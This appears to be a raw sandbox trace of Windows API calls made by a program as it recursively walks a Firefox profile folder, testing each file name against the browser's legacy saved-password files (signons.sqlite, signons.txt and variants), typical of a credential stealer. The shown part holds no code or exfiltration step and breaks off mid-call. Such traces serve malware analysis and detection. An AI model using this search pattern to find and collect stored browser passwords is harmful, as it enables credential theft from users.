[0071.018] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*", lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 0x642728 [0071.018] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.018] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.018] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.018] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.018] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.018] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0071.018] lstrlenA (lpString="addons.json") returned 11 [0071.018] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0071.018] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0071.018] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0071.018] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.018] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0071.018] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0071.018] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.018] lstrlenA (lpString="\\") returned 1 [0071.018] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.018] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.018] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.018] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.018] lstrlenA (lpString="bookmarkbackups") returned 15 [0071.018] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x641518 [0071.018] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.018] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0071.018] LocalFree (hMem=0x6275a8) returned 0x0 [0071.018] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned 90 [0071.019] lstrlenA (lpString="\\*.*") returned 4 [0071.019] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x626a88 [0071.019] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0071.019] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*" [0071.019] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0071.019] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.019] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0071.019] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.019] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.019] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0071.019] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.sqlite") returned 0x0 [0071.020] lstrlenA (lpString="bookmarks-2017-05-31_5.json") returned 27 [0071.020] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.txt") returned 0x0 [0071.020] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons2.txt") returned 0x0 [0071.020] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons3.txt") returned 0x0 [0071.020] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0071.020] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.sqlite") returned 0x0 [0071.020] lstrlenA (lpString="bookmarks-2017-07-12_5.json") returned 27 [0071.020] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.txt") returned 0x0 [0071.020] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons2.txt") returned 0x0 [0071.020] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons3.txt") returned 0x0 [0071.020] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0071.020] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.021] LocalFree (hMem=0x626a88) returned 0x0 [0071.021] LocalFree (hMem=0x641518) returned 0x0 [0071.021] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.021] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0071.021] lstrlenA (lpString="cert8.db") returned 8 [0071.021] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0071.021] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.021] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0071.021] lstrlenA (lpString="compatibility.ini") returned 17 [0071.021] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0071.021] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.021] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.021] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0071.021] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.021] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.021] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.021] lstrlenA (lpString="cookies.sqlite") returned 14 [0071.021] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.021] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.021] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.021] lstrlenA (lpString="downloads.sqlite") returned 16 [0071.021] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.021] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.021] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0071.021] lstrlenA (lpString="extensions.ini") returned 14 [0071.021] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0071.021] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.021] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.021] lstrlenA (lpString="extensions.sqlite") returned 17 [0071.021] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.021] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.021] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.021] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0071.021] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0071.021] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.021] lstrlenA (lpString="\\") returned 1 [0071.021] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.022] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.022] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.022] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.022] lstrlenA (lpString="healthreport") returned 12 [0071.022] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x65b348 [0071.022] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.022] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0071.022] LocalFree (hMem=0x6275a8) returned 0x0 [0071.022] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned 87 [0071.022] lstrlenA (lpString="\\*.*") returned 4 [0071.022] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x641518 [0071.022] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0071.022] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*" [0071.022] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0071.022] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.022] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0071.022] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.022] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.022] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0071.022] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.022] LocalFree (hMem=0x641518) returned 0x0 [0071.022] LocalFree (hMem=0x65b348) returned 0x0 [0071.022] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.022] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.022] lstrlenA (lpString="healthreport.sqlite") returned 19 [0071.022] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0071.022] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.022] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.022] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.022] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0071.022] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0071.022] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.022] lstrlenA (lpString="\\") returned 1 [0071.022] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.022] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.022] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.022] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.022] lstrlenA (lpString="indexedDB") returned 9 [0071.022] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0071.022] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.022] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0071.022] LocalFree (hMem=0x6275a8) returned 0x0 [0071.022] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0071.022] lstrlenA (lpString="\\*.*") returned 4 [0071.023] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x641518 [0071.023] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0071.023] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*" [0071.023] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0071.023] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.023] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0071.023] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.023] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.023] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0071.023] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0071.023] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0071.023] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0071.023] lstrlenA (lpString="\\") returned 1 [0071.023] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0071.023] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0071.023] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0071.023] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned 85 [0071.023] lstrlenA (lpString="moz-safe-about+home") returned 19 [0071.023] LocalAlloc (uFlags=0x40, uBytes=0xe9) returned 0x65e448 [0071.023] lstrcpyA (in: lpString1=0x65e448, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0071.023] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0071.023] LocalFree (hMem=0x65b428) returned 0x0 [0071.023] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0071.023] lstrlenA (lpString="\\*.*") returned 4 [0071.023] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e638 [0071.023] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0071.023] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*" [0071.023] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 0x6427a8 [0071.023] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.023] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 1 [0071.024] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.024] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.024] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 1 [0071.024] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0071.024] lstrlenA (lpString=".metadata") returned 9 [0071.024] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0071.024] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0071.024] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0071.024] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 1 [0071.024] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0071.024] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0071.024] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0071.024] lstrlenA (lpString="\\") returned 1 [0071.024] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x65e730 [0071.024] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0071.024] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0071.024] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned 105 [0071.024] lstrlenA (lpString="idb") returned 3 [0071.024] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e540 [0071.024] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0071.024] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0071.024] LocalFree (hMem=0x65e730) returned 0x0 [0071.024] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0071.024] lstrlenA (lpString="\\*.*") returned 4 [0071.024] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x626a88 [0071.024] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" 